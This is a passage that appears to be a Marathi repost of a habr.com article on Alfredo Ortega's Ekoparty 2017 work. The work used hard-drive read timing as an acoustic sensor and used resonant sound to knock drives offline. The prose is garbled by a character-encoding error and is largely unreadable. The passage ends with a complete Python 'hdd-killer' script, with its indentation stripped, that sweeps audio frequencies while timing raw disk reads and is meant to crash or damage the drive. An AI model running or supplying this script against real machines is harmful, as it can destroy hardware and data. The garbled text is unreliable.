рдмреНрдпреВрдирд╕ рдЖрдпрд░реНрд╕рдордзреАрд▓ рдЗрдХреЛрдкрд╛рд░реНрдЯреА 2017 рд╕рдВрдЧрдгрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкрд░рд┐рд╖рджреЗрдд, рдЕрд░реНрдЬреЗрдВрдЯрд╛рдЗрди рд╣реЕрдХрд░ рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдСрд░реНрдЯреЗрдЧрд╛рдиреЗ рдПрдХ рдЕрддрд┐рд╢рдп рдордиреЛрд░рдВрдЬрдХ рд╡рд┐рдХрд╛рд╕ рджрд░реНрд╢рд╡рд┐рд▓рд╛ - рдорд╛рдпрдХреНрд░реЛрдлреЛрди рди рд╡рд╛рдкрд░рддрд╛ рдкрд░рд┐рд╕рд░рд╛рдЪреНрдпрд╛ рдЧреБрдкреНрдд рд╡рд╛рдпрд░рдЯреЕрдкрд┐рдВрдЧрд╕рд╛рдареА рдПрдХ рдкреНрд░рдгрд╛рд▓реА. рдЖрд╡рд╛рдЬ
HDD рдореБрдЦреНрдпрддреНрд╡реЗ рдЙрдЪреНрдЪ-рддреАрд╡реНрд░рддреЗрдЪреЗ рдХрдореА-рдлреНрд░рд┐рдХреНрд╡реЗрдВрд╕реА рдЖрд╡рд╛рдЬ, рдкрд╛рдКрд▓ рдЖрдгрд┐ рдЗрддрд░ рдХрдВрдкрдиреЗ рдШреЗрддреЗ. рдорд╛рдирд╡реА рднрд╛рд╖рдг рдЕрджреНрдпрд╛рдк рдУрд│рдЦрд▓реЗ рдЬрд╛рдК рд╢рдХрдд рдирд╛рд╣реА, рдЬрд░реА рд╢рд╛рд╕реНрддреНрд░рдЬреНрдЮ
рдзреНрд╡рдиреА рдореНрд╣рдгрдЬреЗ рд╣рд╡реЗрдЪреЗ рдХрдВрдкрди рдХрд┐рдВрд╡рд╛ рдЗрддрд░ рдорд╛рдзреНрдпрдо. рдПрдЦрд╛рджреНрдпрд╛ рд╡реНрдпрдХреНрддреАрд▓рд╛ рддреЗ рдХрд╛рдирд╛рдЪреНрдпрд╛ рдкрдбрджреНрдпрд╛рджреНрд╡рд╛рд░реЗ рдХрд│рддреЗ, рдЬреЗ рдЖрддреАрд▓ рдХрд╛рдирд╛рдд рдХрдВрдкрдиреЗ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рддреЗ. рдорд╛рдпрдХреНрд░реЛрдлреЛрди рд╕рд╛рдзрд╛рд░рдгрдкрдгреЗ рдХрд╛рдирд╛рдкреНрд░рдорд╛рдгреЗ рдбрд┐рдЭрд╛рдЗрди рдХреЗрд▓рд╛ рдЖрд╣реЗ - рдпреЗрдереЗ рджреЗрдЦреАрд▓, рдХрдВрдкрдиреЗ рдПрдХрд╛ рдкрд╛рддрд│ рдкрдбрджреНрдпрд╛рджреНрд╡рд╛рд░реЗ рд░реЗрдХреЙрд░реНрдб рдХреЗрд▓реА рдЬрд╛рддрд╛рдд, рдЬреА рд╡рд┐рджреНрдпреБрдд рдЖрд╡реЗрдЧ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░рддреЗ. рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣, рдЕрд░реНрдерд╛рддрдЪ, рдЖрд╕рдкрд╛рд╕рдЪреНрдпрд╛ рд╣рд╡реЗрддреАрд▓ рдЪрдврдЙрддрд╛рд░рд╛рдВрдореБрд│реЗ рд╕реВрдХреНрд╖реНрдо рдХрдВрдкрдирд╛рдВрдЪреНрдпрд╛ рдЕрдзреАрди рдЖрд╣реЗ. рд╣реЗ рдПрдЪрдбреАрдбреАрдЪреНрдпрд╛ рддрд╛рдВрддреНрд░рд┐рдХ рд╡реИрд╢рд┐рд╖реНрдЯреНрдпрд╛рдВрд╡рд░реВрди рджреЗрдЦреАрд▓ рдУрд│рдЦрд▓реЗ рдЬрд╛рддреЗ: рдЙрддреНрдкрд╛рджрдХ рд╕рд╣рд╕рд╛ рдЬрд╛рд╕реНрддреАрдд рдЬрд╛рд╕реНрдд рдЕрдиреБрдЬреНрдЮреЗрдп рдХрдВрдкрди рдкрд╛рддрд│реА рджрд░реНрд╢рд╡рддрд╛рдд рдЖрдгрд┐ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рд╕реНрд╡рддрдГ рддреЗ рд░рдмрд░ рдХрд┐рдВрд╡рд╛ рдЗрддрд░ рдЗрдиреНрд╕реБрд▓реЗрдЯ рд╕рд╛рдордЧреНрд░реАрдкрд╛рд╕реВрди рдмрдирд╡рд▓реЗрд▓реНрдпрд╛ рдХрдВрдкрди-рдкреНрд░реВрдл рдХрдВрдЯреЗрдирд░рдордзреНрдпреЗ рдареЗрд╡рдгреНрдпрд╛рдЪрд╛ рдкреНрд░рдпрддреНрди рдХрд░рддреЗ. рдпрд╛рд╡рд░реВрди HDD рд╡рд╛рдкрд░реВрди рдзреНрд╡рдиреА рд░реЗрдХреЙрд░реНрдб рдХрд░рддрд╛ рдпреЗрддрд╛рдд рдЕрд╕рд╛ рдирд┐рд╖реНрдХрд░реНрд╖ рдХрд╛рдврдгреЗ рд╕реЛрдкреЗ рдЬрд╛рддреЗ. рдХрд╕реЗ рддреЗ рд╢реЛрдзрдгреЗ рдмрд╛рдХреА рдЖрд╣реЗ.
рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдСрд░реНрдЯреЗрдЧрд╛рдиреЗ рд╕рд╛рдЗрдб-рдЪреЕрдирд▓ рд╣рд▓реНрд▓реНрдпрд╛рдЪреА рдПрдХ рдЕрдиреЛрдЦреА рдЖрд╡реГрддреНрддреА рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХреЗрд▓реА, рдореНрд╣рдгрдЬреЗ рдЯрд╛рдЗрдо рдЕрдЯреЕрдХ. рджрд┐рд▓реЗрд▓реНрдпрд╛ рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛рд╡рд░ рдЕрд╡рд▓рдВрдмреВрди, рд╡реЗрдЧрд╡реЗрдЧрд│реНрдпрд╛ рд╡реЗрд│реА рдбрд┐рд╡реНрд╣рд╛рдЗрд╕рд╡рд░ рд╡реЗрдЧрд╡реЗрдЧрд│реНрдпрд╛ рдСрдкрд░реЗрд╢рдиреНрд╕ рдХреЗрд▓реНрдпрд╛ рдЬрд╛рддрд╛рдд рдпрд╛ рдЧреГрд╣рд┐рддрдХрд╛рд╡рд░ рд╣рд╛ рд╣рд▓реНрд▓рд╛ рдЖрдзрд╛рд░рд┐рдд рдЖрд╣реЗ. рдпрд╛ рдкреНрд░рдХрд░рдгрд╛рдд, тАЬрдЗрдирдкреБрдЯ рдбреЗрдЯрд╛тАЭ рдореНрд╣рдгрдЬреЗ рд╡рд╛рдЪрди рд╣реЗрдб рдЖрдгрд┐ рдПрдЪрдбреАрдбреА рдкреНрд▓реЗрдЯрд░рдЪреА рдХрдВрдкрдирдВ, рдЬреА рдкрд░реНрдпрд╛рд╡рд░рдгрд╛рдЪреНрдпрд╛ рдХрдВрдкрдирд╛рдВрд╢реА, рдореНрд╣рдгрдЬреЗрдЪ рдЖрд╡рд╛рдЬрд╛рд╢реА рд╕рдВрдмрдВрдзрд┐рдд рдЕрд╕рддрд╛рдд. рдЕрд╢рд╛ рдкреНрд░рдХрд╛рд░реЗ, рдЧрдгрдиреЗрдЪреНрдпрд╛ рд╡реЗрд│реЗрдЪреЗ рдореЛрдЬрдорд╛рдк рдХрд░реВрди рдЖрдгрд┐ рдбреЗрдЯрд╛рдЪреЗ рд╕рд╛рдВрдЦреНрдпрд┐рдХреАрдп рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реВрди, рдбреЛрдХреЗ/рдкреНрд▓реЗрдЯрд░рдЪреА рдХрдВрдкрди рдЖрдгрд┐ рдореНрд╣рдгреВрди рдорд╛рдзреНрдпрдорд╛рдЪреА рдХрдВрдкрди рдореЛрдЬрд▓реА рдЬрд╛рдК рд╢рдХрддреЗ. рдбреЗрдЯрд╛ рд╡рд╛рдЪрдгреНрдпрд╛рдд рдЬрд┐рддрдХрд╛ рдЬрд╛рд╕реНрдд рдЙрд╢реАрд░ рд╣реЛрдИрд▓, рддрд┐рддрдХрд╛ HDD рдХрдВрдкрди рдЕрдзрд┐рдХ рдордЬрдмреВрдд рд╣реЛрдИрд▓ рдЖрдгрд┐ рдореНрд╣рдгреВрди, рдореЛрдард╛ рдЖрд╡рд╛рдЬ.
рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рдХрдВрдкрди рдХрд╕реЗ рдореЛрдЬрд╛рдпрдЪреЗ? рдЕрдЧрджреА рд╕реЛрдкреЗ: рдлрдХреНрдд рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдЪрд╛рд▓рд╡рд╛ read ()
тАФ рдЖрдгрд┐ рдкреВрд░реНрдг рд╣реЛрдгреНрдпрд╛рд╕рд╛рдареА рд▓рд╛рдЧрдгрд╛рд░рд╛ рд╡реЗрд│ рд░реЗрдХреЙрд░реНрдб рдХрд░рд╛. рдЖрдзреБрдирд┐рдХ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдЖрдкрд▓реНрдпрд╛рд▓рд╛ рдиреЕрдиреЛрд╕реЗрдХрдВрдж рдЕрдЪреВрдХрддреЗрд╕рд╣ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓рдЪреА рд╡реЗрд│ рд╡рд╛рдЪрдгреНрдпрд╛рдЪреА рдкрд░рд╡рд╛рдирдЧреА рджреЗрддрд╛рдд.
рд╕реЗрдХреНрдЯрд░рдордзреАрд▓ рдорд╛рд╣рд┐рддреА рд╡рд╛рдЪрдгреНрдпрд╛рдЪреА рдЧрддреА рд╣реЗ рдбреЛрдХреЗ рдЖрдгрд┐ рдкреНрд▓реЗрдЯрдЪреНрдпрд╛ рд╕реНрдерд┐рддреАрд╡рд░ рдЕрд╡рд▓рдВрдмреВрди рдЕрд╕рддреЗ, рдЬреА HDD рдХреЗрд╕рдЪреНрдпрд╛ рдХрдВрдкрдирд╛рдВрд╢реА рд╕рдВрдмрдВрдзрд┐рдд рдЕрд╕рддреЗ. рдЗрддрдХрдВрдЪ.
рд╕рд╛рдзреНрдпрд╛ Kscope рдпреБрдЯрд┐рд▓рд┐рдЯреАрдЪрд╛ рд╡рд╛рдкрд░ рдХрд░реВрди рд╕рд╛рдВрдЦреНрдпрд┐рдХреАрдп рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗрд▓реЗ рдЬрд╛рддреЗ. рдЬрд╕реЗ рддреЗ рдореНрд╣рдгрддрд╛рдд, рдХрд▓реНрдкрдХ рд╕рд░реНрд╡рдХрд╛рд╣реА рд╕реЛрдкреЗ рдЖрд╣реЗ.
Kscope рдЙрдкрдпреБрдХреНрддрддрд╛ (stat() syscall)
рдХреЗрд╕реНрдХреЛрдк рд╣реА рд╕рд┐рд╕реНрдЯреАрдо рдХреЙрд▓ рдПрдХреНрдЭрд┐рдХреНрдпреВрд╢рди рд╡реЗрд│реЗрддреАрд▓ рд▓рд╣рд╛рди рдлрд░рдХрд╛рдВрдЪреА рдХрд▓реНрдкрдирд╛ рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рдПрдХ рдЫреЛрдЯреА рдЙрдкрдпреБрдХреНрддрддрд╛ рдЖрд╣реЗ. рд╕реНрддреНрд░реЛрдд
рд╡реЗрдЧрд│реНрдпрд╛ рднрд╛рдВрдбрд╛рд░рд╛рдд read ()
.
HDD рд╡рд╛рдкрд░реВрди рдзреНрд╡рдиреА рд░реЗрдХреЙрд░реНрдбрд┐рдВрдЧрдЪреЗ рдкреНрд░рд╛рддреНрдпрдХреНрд╖рд┐рдХ, Kscope рдпреБрдЯрд┐рд▓рд┐рдЯреАрдЪреЗ рдСрдкрд░реЗрд╢рди
рдЕрд░реНрдерд╛рдд, рднрд╛рд╖рдг рдЕрд╢рд╛ рдкреНрд░рдХрд╛рд░реЗ рд╕рдордЬреВ рд╢рдХрдд рдирд╛рд╣реА, рдкрд░рдВрддреБ рдПрдЪрдбреАрдбреА рдХрдВрдкрди рд╕реЗрдиреНрд╕рд░ рдореНрд╣рдгреВрди рдпреЛрдЧреНрдп рдЖрд╣реЗ. рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рдПрдЦрд╛рджреНрдпрд╛ рд╡реНрдпрдХреНрддреАрдиреЗ рдХрдареЛрд░ рд╢реВрдЬ рдШрд╛рддрд▓реЗрд▓реЗ рдХрд┐рдВрд╡рд╛ рдЕрдирд╡рд╛рдгреА рдкрд╛рдпрд╛рдиреЗ рд╕рдВрдЧрдгрдХ рдЕрд╕рд▓реЗрд▓реНрдпрд╛ рдЦреЛрд▓реАрдд рдкреНрд░рд╡реЗрд╢ рдХреЗрд▓рд╛ рддрд░ рддреБрдореНрд╣реА рдиреЛрдВрджрдгреА рдХрд░реВ рд╢рдХрддрд╛ (рдХрджрд╛рдЪрд┐рдд, рд╣рд▓реНрд▓реЗрдЦреЛрд░рд╛рдиреЗ рдордК рд╕реНрдиреАрдХрд░реНрд╕ рдШрд╛рддрд▓реЗрд▓реЗ рдЕрд╕рд▓реНрдпрд╛рд╕ рдХрд┐рдВрд╡рд╛ рдЬрдорд┐рдиреАрд╡рд░ рдЬрд╛рдб рдЧрд╛рд▓рд┐рдЪрд╛ рдЕрд╕рд▓реНрдпрд╛рд╕, HDD рдХрдВрдкрдирд╛рдВрдЪреА рдиреЛрдВрджрдгреА рдХрд░реВ рд╢рдХрдгрд╛рд░ рдирд╛рд╣реА - рд╣реЗ рддрдкрд╛рд╕рдгреНрдпрд╛рд╕рд╛рд░рдЦреЗ рдЖрд╣реЗ). рд╕рдВрдЧрдгрдХ рддреБрдЯрд▓реЗрд▓реА рдХрд╛рдЪ рдХрд┐рдВрд╡рд╛ рдордЬрдмреВрдд рдЖрд╡рд╛рдЬрд╛рдЪреНрдпрд╛ рддреАрд╡реНрд░рддреЗрд╕рд╣ рдЗрддрд░ рдШрдЯрдирд╛ рдиреЛрдВрджрд╡рд┐рдгреНрдпрд╛рд╕ рд╕рдХреНрд╖рдо рдЖрд╣реЗ. рдореНрд╣рдгрдЬреЗрдЪ, рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рдПрдХ рдкреНрд░рдХрд╛рд░рдЪреА рдЕрдирдзрд┐рдХреГрдд рдШреБрд╕рдЦреЛрд░реА рд╢реЛрдз рдкреНрд░рдгрд╛рд▓реА рдореНрд╣рдгреВрди рдХрд╛рдо рдХрд░реВ рд╢рдХрддреЗ.
рдПрдЪрдбреАрдбреА рдХрд┐рд▓рд░
рддрд╕реЗ, рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рдЕрдХреНрд╖рдо рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА рд╕рдорд╛рди рддрдВрддреНрд░ рд╡рд╛рдкрд░рд▓реЗ рдЬрд╛рдК рд╢рдХрддреЗ. рдлрдХреНрдд рдЗрдереЗрдЪ рдЖрдореНрд╣реА HDD рдордзреВрди рджреЛрд▓рди рдХрд╛рдврдд рдирд╛рд╣реА, рддрд░ рддреНрдпрд╛рдЙрд▓рдЯ, рдЖрдореНрд╣реА HDD рд▓рд╛ рджрд┐рд▓реЗрд▓реЗ рджреЛрд▓рди рд╡реНрдпреБрддреНрдкрдиреНрди рдХрд░рддреЛ. рддреБрдореНрд╣реА HDD рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реАрд╕рд╣ рд░рд┐рдЭреЛрдиреЗрдЯреНрд╕ рд╣реЛрдгрд╛рд▒реНрдпрд╛ рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реАрд╡рд░ рд╕реНрдкреАрдХрд░рд╡рд░реВрди рдЖрд╡рд╛рдЬ рд╡рд╛рдЬрд╡рд▓реНрдпрд╛рд╕, рд╕рд┐рд╕реНрдЯрдо рд▓рд╡рдХрд░рдЪ I/O рддреНрд░реБрдЯреАрд╕рд╣ рдбрд┐рд╡реНрд╣рд╛рдЗрд╕ рдмрдВрдж рдХрд░рддреЗ (рд▓рд┐рдирдХреНрд╕ рдХрд░реНрдирд▓ 120 рд╕реЗрдХрдВрджрд╛рдВрдирдВрддрд░ HDD рдкреВрд░реНрдгрдкрдгреЗ рдмрдВрдж рдХрд░рддреЗ). рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣рд▓рд╛рдЪ рдЕрдкрд░рд┐рд╡рд░реНрддрдиреАрдп рдиреБрдХрд╕рд╛рди рд╣реЛрдК рд╢рдХрддреЗ.
Linux рдХрд░реНрдирд▓рдиреЗ рдПрдбрд┐рдлрд╛рдпрд░ r120u USB рд╕реНрдкреАрдХрд░рдЪреНрдпрд╛ рд╕реНрдкреАрдХрд░рджреНрд╡рд╛рд░реЗ рд░реЗрдЭреЛрдирдВрдЯ рдлреНрд░рд┐рдХреНрд╡реЗрдиреНрд╕реАрдордзреНрдпреЗ рдЖрд╡рд╛рдЬ рд╡рд┐рддрд░реАрдд рдХреЗрд▓реНрдпрд╛рдирдВрддрд░ 19 рд╕реЗрдХрдВрджрд╛рдВрдирдВрддрд░ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣ рдмрдВрдж рдХреЗрд▓реА. рд╕реНрдкреАрдХрд░ рд╕реБрдорд╛рд░реЗ рдПрдХ рдЪрддреБрд░реНрдерд╛рдВрд╢ рдкреЙрд╡рд░ (100 mW рдкреЗрдХреНрд╖рд╛ рдХрдореА) рд╡рд░ рдЪрд╛рд▓реВ рдХреЗрд▓рд╛ рдЬрд╛рддреЛ рдЖрдгрд┐ HDD рдкрд╛рд╕реВрди 20 рд╕реЗрдореА рдЕрдВрддрд░рд╛рд╡рд░ рдЕрд╕рддреЛ, рдЬреНрдпрд╛рдЪреЗ рд▓рдХреНрд╖реНрдп рдХрдВрдкрди рд╡рд╛рдврд╡рд┐рдгреНрдпрд╛рд╕рд╛рдареА рдЯреЗрдмрд▓рд╡рд░ рдЕрд╕рддреЗ. рдкрд╛рд╕реВрди рдлреНрд░реЗрдо
рд╣реЗ рдЬрд┐рдЬреНрдЮрд╛рд╕реВ рдЖрд╣реЗ рдХреА HDD рд╡рд░ рдЕрд╕реЗ "рд╣рд▓реНрд▓реЗ" рдХрдзреАрдХрдзреА рдкреВрд░реНрдгрдкрдгреЗ рджреИрдирдВрджрд┐рди рдЬреАрд╡рдирд╛рдд рдЕрдкрдШрд╛рддрд╛рдиреЗ рд╣реЛрддрд╛рдд. рдЙрджрд╛рд╣рд░рдгрд╛рд░реНрде, рд╕рдкреНрдЯреЗрдВрдмрд░ 2016 рдордзреНрдпреЗ, ING рдмрдБрдХ рдбреЗрдЯрд╛ рд╕реЗрдВрдЯрд░рд▓рд╛ рдлрд╛рдпрд░ рдбреНрд░рд┐рд▓рдирдВрддрд░ 10 рддрд╛рд╕рд╛рдВрд╕рд╛рдареА рдСрдкрд░реЗрд╢рди рд╕реНрдердЧрд┐рдд рдХрд░рдгреНрдпрд╛рд╕ рднрд╛рдЧ рдкрд╛рдбрд▓реЗ рдЧреЗрд▓реЗ.
рдбреЗрдЯрд╛ рд╕реЗрдВрдЯрд░рдордзреАрд▓ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡реНрд╣рд╡рд░ рдорд╛рдирд╡реА рдУрд░рдбрдгреНрдпрд╛рдЪреЗ рдкреНрд░рд╛рддреНрдпрдХреНрд╖рд┐рдХ. рд╡рд┐рд▓рдВрдм рдореЛрдЬрдорд╛рдк
рдкреНрд░рддрд┐рдзреНрд╡рдиреА рдирд┐рд░реНрдорд╛рдг рдХрд░рдгреНрдпрд╛рд╕рд╛рдареА, рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдСрд░реНрдЯреЗрдЧрд╛рдиреЗ рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рд╣рд┐рд▓реА
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
рд╕реНрддреНрд░реЛрдд: www.habr.com